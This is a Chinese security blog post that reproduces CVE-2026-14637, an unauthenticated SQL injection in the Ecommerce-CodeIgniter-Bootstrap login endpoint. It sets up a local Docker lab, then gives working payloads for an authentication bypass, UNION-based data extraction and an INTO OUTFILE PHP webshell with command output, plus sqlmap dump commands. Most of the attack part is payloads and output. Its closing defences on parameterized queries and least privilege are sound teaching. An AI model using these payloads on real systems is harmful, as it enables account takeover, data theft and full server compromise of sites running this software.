CVE-2026-14637 Ecommerce-CodeIgniter-Bootstrap 远程代码执行漏洞复现(附PoC) - 安全技术
CVE-2026-14637 Ecommerce-CodeIgniter-Bootstrap 远程代码执行漏洞复现(附PoC) - 安全技术

CVE-2026-14637 是一个影响 kirilkirkov Ecommerce-CodeIgniter-Bootstrap 项目的 SQL 注入漏洞,CVSS 评分 8.2,攻击者无需认证即可通过精心构造的请求实现远程代码执行。这玩意儿在野已经有人开始扫了,今天带兄弟们手把手复现一波。

CVE-2026-14637 Ecommerce-CodeIgniter-Bootstrap 远程代码执行漏洞复现(附PoC) - 安全技术

漏洞背景

受影响软件:kirilkirkov Ecommerce-CodeIgniter-Bootstrap(版本 ≤ 13fd… 提交哈希)
CVE 编号:CVE-2026-14637
CVSS 评分:8.2(High)
漏洞类型:SQL 注入 → 远程代码执行
危害描述:该漏洞存在于登录接口的参数过滤缺陷中,攻击者可以通过注入恶意 SQL 语句绕过认证,进一步结合 MySQL 的 INTO OUTFILESELECT ... INTO DUMPFILE 写入 webshell,从而完全控制服务器。

这个项目是一个基于 CodeIgniter 3 框架的电商系统,很多小公司和外包项目都在用。漏洞出在 application/controllers/Auth.php 中的 login() 方法,对 usernamepassword 参数完全没有做过滤,直接拼接进了 SQL 查询。

环境搭建

来吧,上 Docker 一把梭:

# 拉取项目源码
git clone https://github.com/kirilkirkov/Ecommerce-CodeIgniter-Bootstrap.git
cd Ecommerce-CodeIgniter-Bootstrap

# 用 Docker 快速部署(需要 docker-compose)
docker-compose up -d

访问 http://localhost:8080,看到登录页面就对了。默认数据库配置在 application/config/database.php,兄弟们可以自己改一下 MySQL 连接信息。

复现步骤

1. 探测注入点

打开 Burp Suite,抓登录包。在 username 字段后面加个单引号:

POST /index.php/auth/login HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded

username=admin'&password=test123

如果返回 500 错误或者 SQL 语法错误信息,说明存在注入。CodeIgniter 默认开启了 display_errors,所以错误信息会直接回显。

2. 闭合判断

这玩意儿用的是 MySQL,查询语句大概长这样:

SELECT * FROM users WHERE username = '$username' AND password = '$password'

用万能密码测试一下:

username=admin' OR '1'='1' -- -
password=anything

如果成功登录,说明注入点确认。-- - 是 MySQL 的注释符,把后面的 password 条件给吃了。

3. 联合查询注入

接下来用 UNION SELECT 获取数据库信息。先判断字段数:

username=admin' ORDER BY 1-- -
username=admin' ORDER BY 2-- -
...

一直试到报错为止。这个表有 5 个字段,所以:

username=admin' UNION SELECT 1,2,3,4,5-- -

页面会显示 23 的位置,说明这两个字段有回显。

4. 获取数据库信息

username=admin' UNION SELECT 1,database(),user(),4,5-- -

返回 ecommerce_dbroot@localhost。好家伙,root 权限,那就可以直接写 shell 了。

5. 写入 Webshell(RCE)

MySQL root 权限下,用 INTO OUTFILE 写 shell:

username=admin' UNION SELECT 1,'<?php system($_GET["cmd"]);?>',3,4,5 INTO OUTFILE '/var/www/html/shell.php'-- -

注意路径要写对。Docker 环境里,CodeIgniter 的根目录是 /var/www/html/

访问 http://localhost:8080/shell.php?cmd=id,返回:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

成功 getshell!

6. 自动化利用(sqlmap)

手工搞完,再用 sqlmap 扫一下确认:

sqlmap -u "http://localhost:8080/index.php/auth/login" --data="username=admin&password=test" --level=3 --risk=2 --dbs

sqlmap 会检测到 username 参数存在 time-based blind 注入,直接 dump 数据:

sqlmap -u "http://localhost:8080/index.php/auth/login" --data="username=admin&password=test" --dump -T users

防御措施

  1. 使用参数化查询:CodeIgniter 的 Query Builder 自带防注入,别偷懒用 $this->db->query("SELECT * FROM users WHERE username = '$username'") 这种写法。改成:
$this->db->where('username', $username);
$this->db->where('password', $password);
$query = $this->db->get('users');
  1. 关闭错误回显:生产环境把 display_errors 设为 false,别让攻击者看到 SQL 错误信息。

  2. 最小权限原则:数据库连接不要用 root,建个专用用户,只给 SELECT, INSERT, UPDATE, DELETE 权限,别给 FILE 权限。

  3. WAF 规则:在 Nginx 层加规则拦截 INTO OUTFILEUNION SELECT 等关键词。

  4. 更新版本:关注 kirilkirkov 的 GitHub 仓库,及时拉取最新 commit。

总结

CVE-2026-14637 就是一个典型的 CodeIgniter 框架 SQL 注入漏洞,因为开发者图省事直接拼接 SQL 语句导致的。从注入探测到 getshell,全程不到 5 分钟,root 权限写 shell 更是直接起飞。兄弟们搞渗透测试的时候,看到 CodeIgniter 项目先测登录接口,十有八九能捡到洞。修复方案也简单,用框架自带的 Query Builder 就完事了,别自己手写 SQL。

🪐 加入「渗透实战安全圈」

每天分享渗透测试实战、挖洞技巧、漏洞分析、工具推荐

知识星球

https://t.zsxq.com/40MyD

💻 安全运维 / 渗透测试 技术支持
业务需求可联系博客作者

By admin

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注